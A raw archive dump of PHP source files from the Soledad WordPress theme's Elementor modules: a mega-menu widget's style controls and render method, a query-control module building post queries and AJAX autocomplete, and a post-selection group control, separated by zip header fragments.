					'{{WRAPPER}} .mega-menu-list > li.heading-style-style-3 > a:after' => 'border-bottom-color: {{VALUE}}',
				],
				'condition' => [
					'general_heading_style' => [ 'style-2', 'style-3' ]
				],
			]
		);

		$this->add_control(
			'header_line_active_color',
			[
				'label'     => esc_html__( 'Heading Title Small Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => [
					'{{WRAPPER}} .mega-menu-list > li.heading-style-style-2 > a:after' => 'background-color: {{VALUE}}',
				],
				'condition' => [ 'general_heading_style' => 'style-2' ],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'menu_title_typo',
				'label'    => __( 'Title Typography', 'soledad' ),
				'selector' => 'html {{WRAPPER}} .mega-menu-list > li > a',
			)
		);

		$this->add_control(
			'menu_title_color',
			[
				'label'     => esc_html__( 'Menu Title color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list > li > a' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'menu_title_hover_color',
			[
				'label'     => esc_html__( 'Menu Title Hover color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list > li > a:hover' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'menu_item_typo',
				'label'    => __( 'Menu Item Typography', 'soledad' ),
				'selector' => 'html {{WRAPPER}} .mega-menu-list ul li a',
			)
		);

		$this->add_control(
			'menu_item_color',
			[
				'label'     => esc_html__( 'Menu Item Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list ul li a' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'menu_item_color_hover',
			[
				'label'     => esc_html__( 'Menu Item Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'html {{WRAPPER}} .mega-menu-list ul li a:hover' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'label_title_typo',
				'label'    => __( 'Label Typography', 'soledad' ),
				'selector' => 'html {{WRAPPER}} .mega-menu-list .menu-label',
			)
		);

		$this->add_control(
			'general_label_color',
			[
				'label'       => esc_html__( 'Label Text Color', 'soledad' ),
				'description' => 'This settings can be overwritten by item setting on Content Tab',
				'type'        => Controls_Manager::COLOR,
				'default'     => '',
				'selectors'   => array(
					'html {{WRAPPER}} .mega-menu-list .menu-label' => 'color: {{VALUE}}',
				),
			]
		);

		$this->add_control(
			'label_bg_color',
			[
				'label'       => esc_html__( 'Label Background Color', 'soledad' ),
				'description' => 'This settings can be overwritten by item setting on Content Tab',
				'type'        => Controls_Manager::COLOR,
				'default'     => '',
				'selectors'   => array(
					'html {{WRAPPER}} .mega-menu-list .menu-label'          => 'background-color: {{VALUE}}',
					'html body.rtl {{WRAPPER}} .mega-menu-list .menu-label' => 'border-color: {{VALUE}}',
					'html {{WRAPPER}} .mega-menu-list .menu-label:before'   => 'border-color: {{VALUE}}',
				),
			]
		);

		$this->end_controls_section();
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		$default_settings = [
			'title'               => '',
			'label_style'         => '',
			'link'                => '',
			'image'               => '',
			'label'               => '',
			'menu_items_repeater' => [],
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		$parent_label_style = ! empty( $settings['label_style'] ) ? $settings['label_style'] : $settings['general_label_style'];
		$col                = $settings['item_col'] ? $settings['item_col'] : '1';
		$item_col           = ' pcmg-subcol-' . $col;
		if ( '2' == $col || '3' == $col ) {
			$item_col .= ' penci-clearfix';
		}

		$this->add_render_attribute(
			[
				'parent_ul'    => [
					'class' => [
						'penci-sub-menu',
						'mega-menu-list',
					],
				],
				'parent_li'    => [
					'class' => [
						'item-with-label',
						'heading-style-' . $settings['general_heading_style']
					],
				],
				'parent_title' => [
					'class' => [
						'nav-link-text',
					],
				],
				'parent_label' => [
					'class' => [
						'menu-label',
						'label-' . $parent_label_style,
					],
				],
				'parent_label' => [
					'class' => [
						'menu-label',
						'label-' . $parent_label_style,
					],
				],
			]
		);

		$this->add_inline_editing_attributes( 'parent_title' );
		$this->add_inline_editing_attributes( 'parent_label' );

		$link_attrs = penci_el_get_link_attrs( $settings['link'] );

		?>
        <ul <?php echo $this->get_render_attribute_string( 'parent_ul' ); ?>>
            <li <?php echo $this->get_render_attribute_string( 'parent_li' ); ?>>
				<?php if ( $settings['title'] ) : ?>
                    <a <?php echo $link_attrs; ?>>
						<?php if ( $settings['image'] ) : ?>
							<?php echo penci_get_image_html( $settings, 'image' ); ?>
						<?php endif; ?>

						<?php if ( penci_elementor_is_edit_mode() ) : ?>
                        <span <?php echo $this->get_render_attribute_string( 'parent_title' ); ?>>
							<?php endif; ?>
							<?php echo wp_kses( $settings['title'], penci_allow_html() ); ?>
							<?php if ( penci_elementor_is_edit_mode() ) : ?>
								</span>
					<?php endif; ?>

						<?php if ( $settings['label'] ) : ?>
                            <span <?php echo $this->get_render_attribute_string( 'parent_label' ); ?>>
									<?php echo wp_kses( $settings['label'], penci_allow_html() ); ?>
								</span>
						<?php endif; ?>
                    </a>
				<?php endif; ?>

                <ul class="sub-sub-menu<?php echo $item_col; ?>">
					<?php foreach ( $settings['menu_items_repeater'] as $index => $item ) : ?>
						<?php
						$repeater_li_key    = $this->get_repeater_setting_key( 'li', 'menu_items_repeater', $index );
						$repeater_title_key = $this->get_repeater_setting_key( 'title', 'menu_items_repeater', $index );
						$repeater_label_key = $this->get_repeater_setting_key( 'label', 'menu_items_repeater', $index );

						$label_style = ! empty( $item['label_style'] ) ? $item['label_style'] : $settings['general_label_style'];

						$this->add_render_attribute(
							[
								$repeater_li_key    => [
									'class' => [
										'item-with-label',
										'item-label',
										'elementor-repeater-item-' . $item['_id'],
									],
								],
								$repeater_label_key => [
									'class' => [
										'menu-label',
										'label-' . $label_style
									],
								],
							]
						);

						$this->add_inline_editing_attributes( $repeater_title_key );
						$this->add_inline_editing_attributes( $repeater_label_key );

						$link_attrs = penci_el_get_link_attrs( $item['link'] );
						?>

                        <li <?php echo $this->get_render_attribute_string( $repeater_li_key ); ?>>
                            <a <?php echo $link_attrs; ?>>
								<?php if ( $item['image'] ) : ?>
									<?php echo penci_get_image_html( $item, 'image' ); ?>
								<?php endif; ?>

								<?php if ( penci_elementor_is_edit_mode() ) : ?>
                                <span <?php echo $this->get_render_attribute_string( $repeater_title_key ); ?>>
									<?php endif; ?>
									<?php echo wp_kses( $item['title'], penci_allow_html() ); ?>
									<?php if ( penci_elementor_is_edit_mode() ) : ?>
										</span>
							<?php endif; ?>

								<?php if ( $item['label'] ) : ?>
                                    <span <?php echo $this->get_render_attribute_string( $repeater_label_key ); ?>>
											<?php echo wp_kses( $item['label'], penci_allow_html() ); ?>
										</span>
								<?php endif; ?>
                            </a>
                        </li>
					<?php endforeach; ?>
                </ul>
            </li>
        </ul>
		<?php
	}
}
PK     1w\H;>  >  *  elementor/modules/query-control/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\QueryControl;

use Elementor\Controls_Manager;
use PenciSoledadElementor\Base\Module_Base;
use PenciSoledadElementor\Classes\Utils;
use PenciSoledadElementor\Modules\QueryControl\Controls\Penci_Group_Control_Posts;
use PenciSoledadElementor\Modules\QueryControl\Controls\Query;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Module extends Module_Base {

	const QUERY_CONTROL_ID = 'query';

	// Supported objects for query:
	const QUERY_OBJECT_POST = 'post';

	public static $displayed_ids = array();

	public function __construct() {
		parent::__construct();

		$this->add_actions();
	}

	protected function add_actions() {
		add_action( 'elementor/ajax/register_actions', array( $this, 'register_ajax_actions' ) );
		add_action( 'elementor/controls/register', array( $this, 'register_controls' ) );
		add_filter( 'elementor/editor/localize_settings', array( $this, 'localize_settings' ) );
		add_action( 'pre_get_posts', array( $this, 'fix_query_offset' ), 1 );
		add_filter( 'found_posts', array( $this, 'fix_query_found_posts' ), 1, 2 );
		add_filter( 'elementor/query/query_results', array( $this, 'exclude_ele_id' ), 10, 2 );
	}

	public static function get_avoid_list_ids() {
		return self::$displayed_ids;
	}

	public static function add_exclude_controls( $widget ) {

		$widget->add_control(
			'exclude',
			array(
				'label'       => __( 'Exclude', 'soledad' ),
				'type'        => Controls_Manager::SELECT2,
				'multiple'    => true,
				'options'     => array(
					'current_post'     => __( 'Current Post', 'soledad' ),
					'manual_selection' => __( 'Manual Selection', 'soledad' ),
				),
				'label_block' => true,
				'condition'   => array( 'posts_post_type!' => array( 'by_id', 'current_query' ) ),
			)
		);

		$widget->add_control(
			'exclude_ids',
			array(
				'label'       => __( 'Search by Title & Select', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'all',
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array(
					'exclude'          => 'manual_selection',
					'posts_post_type!' => array( 'by_id', 'current_query' ),
				),
			)
		);
	}

	public static function get_query_args( $control_id, $settings ) {
		$defaults = array(
			$control_id . '_post_type' => 'post',
			$control_id . '_posts_ids' => array(),
			'orderby'                  => 'date',
			'order'                    => 'desc',
			'related_post_by'          => '',
			'arposts_per_page'         => '',
			'posts_per_page'           => 3,
			'offset'                   => 0,
		);
		$paged    = ( get_query_var( 'paged' ) ) ? get_query_var( 'paged' ) : 1;
		$settings = wp_parse_args( $settings, $defaults );

		$post_type  = $settings[ $control_id . '_post_type' ];
		$igr_sticky = 1;

		if ( isset( $settings[ $control_id . '_ignore_sticky_posts' ] ) && ! $settings[ $control_id . '_ignore_sticky_posts' ] ) {
			$igr_sticky = false;
		}

		$query_args = array(
			'orderby'             => $settings['orderby'],
			'order'               => $settings['order'],
			'ignore_sticky_posts' => $igr_sticky,
			'post_status'         => 'publish',
			'post__not_in'        => array(),
		);

		$order_by 			= isset( $settings['orderby'] ) ? $settings['orderby'] : 'date';
		$orderby_meta_key 	= isset( $settings['orderby_meta_key'] ) ? $settings['orderby_meta_key'] : '';
		if ( 'popular' == $order_by ) {
			$query_args['meta_key'] = penci_get_postviews_key();
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'popular_day' == $order_by ) {
			$query_args['meta_key'] = 'penci_post_day_views_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'popular7' == $order_by ) {
			$query_args['meta_key'] = 'penci_post_week_views_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'popular_month' == $order_by ) {
			$query_args['meta_key'] = 'penci_post_month_views_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'jetpack' == $order_by ) {
			$query_args['meta_key'] = '_jetpack_post_view';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'most_liked' == $order_by ) {
			$query_args['meta_key'] = '_post_like_count';
			$query_args['orderby']  = 'meta_value_num';
		} elseif ( 'metakey' == $order_by && $orderby_meta_key ) {
			$query_args['meta_key'] = $orderby_meta_key;
			$query_args['orderby']  = 'meta_value_num';
		}

		if ( 'multi_types' === $post_type ) {

			$post_type_selected = $settings[ $control_id . '_multi_types_option' ];
			
			$query_args['post_type'] 		= $post_type_selected;
			$query_args['posts_per_page'] 	= $settings['posts_per_page'];

			foreach ( $post_type_selected as $ptype ) {
				$taxonomy_filter_args = array(
					'show_in_nav_menus' => true,
					'object_type'       => array( $ptype ),
				);
	
				$taxonomies = get_taxonomies( $taxonomy_filter_args, 'objects' );
				
				foreach ( $taxonomies as $taxonomy => $object ) {
					$setting_in_key = $control_id . '_' . $object->name . '_multi_ids';
					$setting_ex_key = $control_id . '_' . $object->name . '_multi_exids';
					if ( ! empty( $settings[ $setting_in_key ] ) ) {
						$query_args['tax_query'][] = array(
							'taxonomy' => $taxonomy,
							'field'    => 'term_id',
							'terms'    => $settings[ $setting_in_key ],
						);
					}
					if ( ! empty( $settings[ $setting_ex_key ] ) ) {
						$query_args['tax_query'][] = array(
							'taxonomy' => $taxonomy,
							'field'    => 'term_id',
							'terms'    => $settings[ $setting_ex_key ],
							'operator' => 'NOT IN',
						);
					}
				}
			}


		} elseif ( 'by_id' === $post_type ) {
			$post_types = Utils::get_public_post_types();

			$query_args['post_type']      = array_keys( $post_types );
			$query_args['posts_per_page'] = - 1;
			$query_args['post__in']       = $settings[ $control_id . '_posts_ids' ];

			if ( empty( $query_args['post__in'] ) ) {
				$query_args['post__in'] = array( 0 );
			}
		} elseif ( 'current_query' === $post_type ) {
			$query = $GLOBALS['wp_query']->query_vars;
			unset( $query['post__not_in'] );

			return $query;

		} elseif ( 'related_posts' === $post_type ) {
			global $post;
			$post__not_in[]          = $post->ID;
			$query_args['post_type'] = get_post_type( $post->ID );

			$related_arg = penci_get_query_related_posts( $post->ID, $settings['posts_related_post_by'], $settings['orderby'], $settings['order'], $settings['posts_per_page'] );
			$query_args  = array_merge( $related_arg, $query_args );
		} else {
			$query_args['post_type']      = $post_type;
			$query_args['posts_per_page'] = $settings['posts_per_page'];
			$query_args['tax_query']      = array();

			if ( 0 < $settings['offset'] ) {
				$query_args['offset'] = $settings['offset'];
			}

			if ( ! empty( $settings['offset'] ) && $paged > 1 ) {
				$query_args['offset'] = $settings['offset'] + ( ( $paged - 1 ) * $settings['posts_per_page'] );
			}

			$taxonomies = get_object_taxonomies( $post_type, 'objects' );

			foreach ( $taxonomies as $object ) {
				$setting_key = $control_id . '_' . $object->name . '_ids';

				if ( ! empty( $settings[ $setting_key ] ) ) {
					$query_args['tax_query'][] = array(
						'taxonomy' => $object->name,
						'field'    => 'term_id',
						'terms'    => $settings[ $setting_key ],
					);
				}
			}

			foreach ( $taxonomies as $object ) {
				$setting_key = $control_id . '_' . $object->name . '_exids';

				if ( ! empty( $settings[ $setting_key ] ) ) {
					$query_args['tax_query'][] = array(
						'taxonomy' => $object->name,
						'field'    => 'term_id',
						'terms'    => $settings[ $setting_key ],
						'operator' => 'NOT IN',
					);
				}
			}
		}

		if ( ! empty( $settings[ $control_id . '_authors' ] ) ) {
			$query_args['author__in'] = $settings[ $control_id . '_authors' ];
		}

		$post__not_in = array();

		if ( 'related_posts' === $post_type ) {
			if ( wp_doing_ajax() && ! empty( $_REQUEST['post_id'] ) ) {
				$post__not_in[] = $_REQUEST['post_id'];
			} elseif ( is_singular() ) {
				$post__not_in[] = get_queried_object_id();
			}
		}

		if ( ! empty( $settings['exclude'] ) ) {
			if ( in_array( 'current_post', $settings['exclude'] ) || 'related_posts' === $post_type ) {
				if ( wp_doing_ajax() && ! empty( $_REQUEST['post_id'] ) ) {
					$post__not_in[] = $_REQUEST['post_id'];
				} elseif ( is_singular() ) {
					$post__not_in[] = get_queried_object_id();
				}
			}

			if ( in_array( 'manual_selection', $settings['exclude'] ) && ! empty( $settings['exclude_ids'] ) ) {
				$post__not_in = array_merge( $post__not_in, $settings['exclude_ids'] );
			}
		}

		if ( ! empty( $settings['avoid_duplicates'] ) && 'yes' === $settings['avoid_duplicates'] ) {
			$post__not_in = array_merge( $post__not_in, self::$displayed_ids );
		}

		$query_args['post__not_in'] = $post__not_in;

		if ( isset( $settings['query_id'] ) && $settings['query_id'] ) {
			$query_args = apply_filters( 'penci_elementor_query_' . $settings['query_id'], $query_args );
		}

		$query_args = apply_filters( 'penci_elementor_query_all', $query_args );

		$query = new \WP_Query( $query_args );// SQL_CALC_FOUND_ROWS is used.
		self::add_to_avoid_list( wp_list_pluck( $query->posts, 'ID' ) );

		return $query_args;
	}

	public static function add_to_avoid_list( $ids ) {
		self::$displayed_ids = array_merge( self::$displayed_ids, $ids );
	}

	public function exclude_ele_id( $query, $widget ) {
		self::add_to_avoid_list( wp_list_pluck( $query->posts, 'ID' ) );

		return $query;
	}

	public function get_name() {
		return 'query-control';
	}

	public function ajax_posts_filter_autocomplete( array $data ) {
		if ( empty( $data['filter_type'] ) || empty( $data['q'] ) ) {
			throw new \Exception( 'Bad Request' );
		}

		$results = array();

		switch ( $data['filter_type'] ) {
			case 'taxonomy':
				$query_params = array(
					'taxonomy'   => $data['object_type'],
					'search'     => $data['q'],
					'hide_empty' => false,
				);

				$terms = get_terms( $query_params );

				global $wp_taxonomies;

				foreach ( $terms as $term ) {
					$term_name = $this->get_term_name_with_parents( $term );
					if ( ! empty( $data['include_type'] ) ) {
						$text = $wp_taxonomies[ $term->taxonomy ]->labels->singular_name . ': ' . $term_name;
					} else {
						$text = $term_name;
					}

					$results[] = array(
						'id'   => $term->term_id,
						'text' => $text,
					);
				}

				break;

			case 'by_id':
			case 'post':
				$query_params = array(
					'post_type'      => $data['object_type'],
					's'              => $data['q'],
					'posts_per_page' => - 1,
				);

				if ( 'attachment' === $query_params['post_type'] ) {
					$query_params['post_status'] = 'inherit';
				}

				$query = new \WP_Query( $query_params );

				foreach ( $query->posts as $post ) {
					$post_type_obj = get_post_type_object( $post->post_type );
					if ( ! empty( $data['include_type'] ) ) {
						$text = $post_type_obj->labels->singular_name . ': ' . $post->post_title;
					} else {
						$text = ( $post_type_obj->hierarchical ) ? $this->get_post_name_with_parents( $post ) : $post->post_title;
					}

					$results[] = array(
						'id'   => $post->ID,
						'text' => $text,
					);
				}
				break;

			case 'author':
				$query_params = array(
					'capability'          => 'authors',
					'has_published_posts' => true,
					'fields'              => array(
						'ID',
						'display_name',
					),
					'search'              => '*' . $data['q'] . '*',
					'search_columns'      => array(
						'user_login',
						'user_nicename',
					),
				);

				$user_query = new \WP_User_Query( $query_params );

				foreach ( $user_query->get_results() as $author ) {
					$results[] = array(
						'id'   => $author->ID,
						'text' => $author->display_name,
					);
				}
				break;
			default:
				$results = array();
		}

		return array( 'results' => $results );
	}

	private function get_term_name_with_parents( \WP_Term $term, $max = 3 ) {
		if ( 0 === $term->parent ) {
			return $term->name;
		}
		$separator = is_rtl() ? ' < ' : ' > ';
		$test_term = $term;
		$names     = array();
		while ( $test_term->parent > 0 ) {
			$test_term = get_term_by( 'id', $test_term->parent, $test_term->taxonomy );
			if ( ! $test_term ) {
				break;
			}
			$names[] = $test_term->name;
		}

		$names = array_reverse( $names );
		if ( count( $names ) < ( $max ) ) {
			return implode( $separator, $names ) . $separator . $term->name;
		}

		$name_string = '';
		for ( $i = 0; $i < ( $max - 1 ); $i ++ ) {
			$name_string .= $names[ $i ] . $separator;
		}

		return $name_string . '...' . $separator . $term->name;
	}

	private function get_post_name_with_parents( $post, $max = 3 ) {
		if ( 0 === $post->post_parent ) {
			return $post->post_title;
		}
		$separator = is_rtl() ? ' < ' : ' > ';
		$test_post = $post;
		$names     = array();
		while ( $test_post->post_parent > 0 ) {
			$test_post = get_post( $test_post->post_parent );
			if ( ! $test_post ) {
				break;
			}
			$names[] = $test_post->post_title;
		}

		$names = array_reverse( $names );
		if ( count( $names ) < ( $max ) ) {
			return implode( $separator, $names ) . $separator . $post->post_title;
		}

		$name_string = '';
		for ( $i = 0; $i < ( $max - 1 ); $i ++ ) {
			$name_string .= $names[ $i ] . $separator;
		}

		return $name_string . '...' . $separator . $post->post_title;
	}

	public function ajax_posts_control_value_titles( $request ) {
		$ids = (array) $request['id'];

		$results = array();
		switch ( $request['filter_type'] ) {
			case 'taxonomy':
				$terms = get_terms(
					array(
						'include'    => $ids,
						'hide_empty' => false,
					)
				);

				foreach ( $terms as $term ) {
					$results[ $term->term_id ] = $term->name;
				}
				break;

			case 'by_id':
			case 'post':
				$query = new \WP_Query(
					array(
						'post_type'      => 'any',
						'post__in'       => $ids,
						'posts_per_page' => - 1,
					)
				);

				foreach ( $query->posts as $post ) {
					$results[ $post->ID ] = $post->post_title;
				}
				break;

			case 'authors':
			case 'author':
				$query_params = array(
					'capability'          => 'authors',
					'has_published_posts' => true,
					'fields'              => array( 'ID', 'display_name' ),
					'include'             => $ids,
				);

				$user_query = new \WP_User_Query( $query_params );

				foreach ( $user_query->get_results() as $author ) {
					$results[ $author->ID ] = $author->display_name;
				}

				break;
			default:
				$results = array();
		}

		return $results;
	}

	public function register_controls( Controls_Manager $controls_manager ) {

		$controls_manager->add_group_control( Penci_Group_Control_Posts::get_type(), new Penci_Group_Control_Posts() );

		$controls_manager->register( new Query() );
	}

	public function fix_query_offset( &$query ) {
		if ( ! empty( $query->query_vars['offset_to_fix'] ) ) {
			if ( $query->is_paged ) {
				$query->query_vars['offset'] = $query->query_vars['offset_to_fix'] + ( ( $query->query_vars['paged'] - 1 ) * $query->query_vars['posts_per_page'] );
			} else {
				$query->query_vars['offset'] = $query->query_vars['offset_to_fix'];
			}
		}
	}

	public function fix_query_found_posts( $found_posts, $query ) {
		$offset_to_fix = $query->get( 'offset_to_fix' );

		if ( $offset_to_fix ) {
			$found_posts -= $offset_to_fix;
		}

		return $found_posts;
	}

	public function register_ajax_actions( $ajax_manager ) {
		if ( ! defined( 'ELEMENTOR_PRO_VERSION' ) ) {
			$ajax_manager->register_ajax_action(
				'query_control_value_titles',
				array(
					$this,
					'ajax_posts_control_value_titles',
				)
			);
		}
		$ajax_manager->register_ajax_action(
			'penci_panel_posts_control_filter_autocomplete',
			array(
				$this,
				'ajax_posts_filter_autocomplete',
			)
		);
	}

	public function localize_settings( $settings ) {
		$settings = array_replace_recursive(
			$settings,
			array(
				'i18n' => array( 'all' => __( 'All', 'soledad' ) ),
			)
		);

		return $settings;
	}
}
PK     1w\d~#  ~#  F  elementor/modules/query-control/controls/penci-group-control-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\QueryControl\Controls;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Base;
use PenciSoledadElementor\Classes\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Penci_Group_Control_Posts extends Group_Control_Base {

	const INLINE_MAX_RESULTS = 100;

	protected static $fields;

	public static function get_type() {
		return 'posts';
	}

	public static function on_export_remove_setting_from_element( $element, $control_id ) {
		unset( $element['settings'][ $control_id . '_posts_ids' ] );
		unset( $element['settings'][ $control_id . '_authors' ] );

		foreach ( Utils::get_public_post_types() as $post_type => $label ) {
			$taxonomy_filter_args = array(
				'show_in_nav_menus' => true,
				'object_type'       => array( $post_type ),
			);

			$taxonomies = get_taxonomies( $taxonomy_filter_args, 'objects' );

			foreach ( $taxonomies as $taxonomy => $object ) {
				unset( $element['settings'][ $control_id . '_' . $taxonomy . '_ids' ] );
			}
		}

		return $element;
	}

	final protected function init_fields() {
		$fields = array();

		$fields['post_type'] = array(
			'label' => __( 'Source', 'soledad' ),
			'type'  => Controls_Manager::SELECT,
		);

		$fields['related_post_by'] = array(
			'label'       => __( 'Display Related Posts By', 'soledad' ),
			'label_block' => true,
			'type'        => Controls_Manager::SELECT,
			'multiple'    => false,
			'default'     => 'categories',
			'options'     => array(
				'categories'  => __('Categories','soledad' ),
				'tags'        => __('Tags','soledad' ),
				'primary_cat' => __('Primary Category from "Yoast SEO" or "Rank Math" plugin','soledad' ),
			),
			'condition'   => array( 'post_type' => array( 'related_posts' ) ),
		);

		$fields['posts_ids'] = array(
			'label'       => __( 'Search by Title & Select', 'soledad' ),
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_posts_by_query',
			'render'      => 'penci_get_posts_title_by_id',
			'post_type'   => 'all',
			'multiple'    => true,
			'label_block' => true,
			'condition'   => array( 'post_type' => 'by_id' ),
		);

		$fields['authors'] = array(
			'label'       => __( 'Author', 'soledad' ),
			'label_block' => true,
			'multiple'    => true,
			'type'        => 'penci_el_autocomplete',
			'search'      => 'penci_get_user_by_query',
			'render'      => 'penci_get_user_title_by_id',
			'condition'   => array( 'post_type!' => array( 'by_id', 'current_query' ) ),
		);

		$fields['multi_types_option'] = array(
			'label'       => __( 'Select Post Types', 'soledad' ),
			'label_block' => true,
			'type'        => Controls_Manager::SELECT2,
			'multiple'    => true,
			'default'     => ['post'],
			'condition'   => array( 'post_type' => 'multi_types' ),
			'options'     => Utils::get_public_post_types(),
		);
		
		foreach ( Utils::get_public_post_types() as $post_type => $label ) {

			$taxonomies = get_taxonomies( array(
				'show_in_nav_menus' => true,
				'object_type'       => array( $post_type ),
			), 'objects' );

			foreach ( $taxonomies as $taxonomy => $object ) {
				$taxonomy_args = array(
					'label'       => 'Include ' . $label . ' - ' . $object->label,
					'label_block' => true,
					'multiple'    => true,
					'object_type' => $taxonomy,
					'source_name' => 'taxonomy',
					'source_type' => $taxonomy,
					'options'     => array(),
					'conditions' => [
						'terms' => [
							[
								'name' => 'post_type',
								'operator' => '==',
								'value' => 'multi_types',
							],
							[
								'name' => 'multi_types_option',
								'operator' => 'contains',
								'value' => $post_type,
							],
						],
					],
				);

				$count = wp_count_terms( $taxonomy );

				$options = array();

				if ( $count > self::INLINE_MAX_RESULTS ) {
					$taxonomy_args['type'] = 'penci-select2';
					$taxonomy_args['filter_type'] = 'taxonomy';
				} else {
					$taxonomy_args['type'] = Controls_Manager::SELECT2;

					$terms = get_terms(
						array(
							'taxonomy'   => $taxonomy,
							'hide_empty' => false,
						)
					);

					foreach ( $terms as $term ) {
						$options[ $term->term_id ] = $term->name;
					}

					$taxonomy_args['options'] = $options;
				}

				$fields[ $object->name . '_multi_ids' ] = $taxonomy_args;

				$taxonomy_args = array(
					'label'       => 'Exclude ' . $label . ' - ' . $object->label,
					'label_block' => true,
					'multiple'    => true,
					'object_type' => $taxonomy,
					'source_name' => 'taxonomy',
					'source_type' => $taxonomy,
					'options'     => array(),
					'conditions' => [
						'terms' => [
							[
								'name' => 'post_type',
								'operator' => '==',
								'value' => 'multi_types',
							],
							[
								'name' => 'multi_types_option',
								'operator' => 'contains',
								'value' => $post_type,
							],
						],
					],
				);

				if ( $count > self::INLINE_MAX_RESULTS ) {
					$taxonomy_args['type'] = 'penci-select2';
					$taxonomy_args['filter_type'] = 'taxonomy';
				} else {
					$taxonomy_args['type'] = Controls_Manager::SELECT2;

					$terms = get_terms(
						array(
							'taxonomy'   => $taxonomy,
							'hide_empty' => false,
						)
					);

					foreach ( $terms as $term ) {
						$options[ $term->term_id ] = $term->name;
					}

					$taxonomy_args['options'] = $options;
				}

				$fields[ $object->name . '_multi_exids' ] = $taxonomy_args;
			}
		}

		return $fields;
	}

	final protected function prepare_fields( $fields ) {
		$args = $this->get_args();

		$post_types = Utils::get_public_post_types( $args );

		$post_types_options = $post_types;

		$post_types_options['by_id']         = __( 'Manual Selection', 'soledad' );
		$post_types_options['current_query'] = __( 'Archive Builder / Current Query', 'soledad' );
		$post_types_options['related_posts'] = __( 'Post Builder - Related Posts', 'soledad' );
		$post_types_options['multi_types'] 	 = __( 'Multi Post Types', 'soledad' );

		$fields['post_type']['options'] = $post_types_options;

		$fields['post_type']['default'] = key( $post_types );

		$fields['posts_ids']['object_type'] = array_keys( $post_types );

		$taxonomy_filter_args = array( 'show_in_nav_menus' => true );

		if ( ! empty( $args['post_type'] ) ) {
			$taxonomy_filter_args['object_type'] = array( $args['post_type'] );
		}

		$taxonomies = get_taxonomies( $taxonomy_filter_args, 'objects' );

		foreach ( $taxonomies as $taxonomy => $object ) {
			$taxonomy_args = array(
				'label'       => 'Include ' . $object->label,
				'label_block' => true,
				'multiple'    => true,
				'object_type' => $taxonomy,
				'source_name' => 'taxonomy',
				'source_type' => $taxonomy,
				'options'     => array(),
				'condition'   => array( 'post_type' => $object->object_type ),
				'dynamic' => [
					'active' => true,
				],
			);

			$count = wp_count_terms( $taxonomy );

			$options = array();

			if ( $count > self::INLINE_MAX_RESULTS ) {
				$taxonomy_args['type'] = 'penci-select2';

				$taxonomy_args['filter_type'] = 'taxonomy';
			} else {
				$taxonomy_args['type'] = Controls_Manager::SELECT2;

				$terms = get_terms(
					array(
						'taxonomy'   => $taxonomy,
						'hide_empty' => false,
					)
				);

				foreach ( $terms as $term ) {
					$options[ $term->term_id ] = $term->name;
				}

				$taxonomy_args['options'] = $options;
			}

			$fields[ $taxonomy . '_ids' ] = $taxonomy_args;
		}

		foreach ( $taxonomies as $taxonomy => $object ) {
			$taxonomy_args = array(
				'label'       => 'Exclude ' . $object->label,
				'label_block' => true,
				'multiple'    => true,
				'object_type' => $taxonomy,
				'source_name' => 'taxonomy',
				'source_type' => $taxonomy,
				'options'     => array(),
				'condition'   => array( 'post_type' => $object->object_type ),
			);

			$count = wp_count_terms( $taxonomy );

			$options = array();

			if ( $count > self::INLINE_MAX_RESULTS ) {
				$taxonomy_args['type'] = 'penci-select2';

				$taxonomy_args['filter_type'] = 'taxonomy';
			} else {
				$taxonomy_args['type'] = Controls_Manager::SELECT2;

				$terms = get_terms(
					array(
						'taxonomy'   => $taxonomy,
						'hide_empty' => false,
					)
				);

				foreach ( $terms as $term ) {
					$options[ $term->term_id ] = $term->name;
				}

				$taxonomy_args['options'] = $options;
			}

			$fields[ $taxonomy . '_exids' ] = $taxonomy_args;
		}

		$fields['ignore_sticky_posts'] = array(
			'label'       => __( 'Ignore Sticky Posts', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'default'     => 'yes',
			'condition'   => array( 'post_type' => 'post' ),
			'description' => __( 'Sticky-posts ordering is visible on frontend only. And includes sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ),
			'separator'   => 'before',
		);

		return parent::prepare_fields( $fields );
	}

	protected function get_default_options() {
		return array( 'popover' => false );
	}
}
PK     1w\Zw    2  elementor/modules/query-control/controls/query.phpnu [        <?php
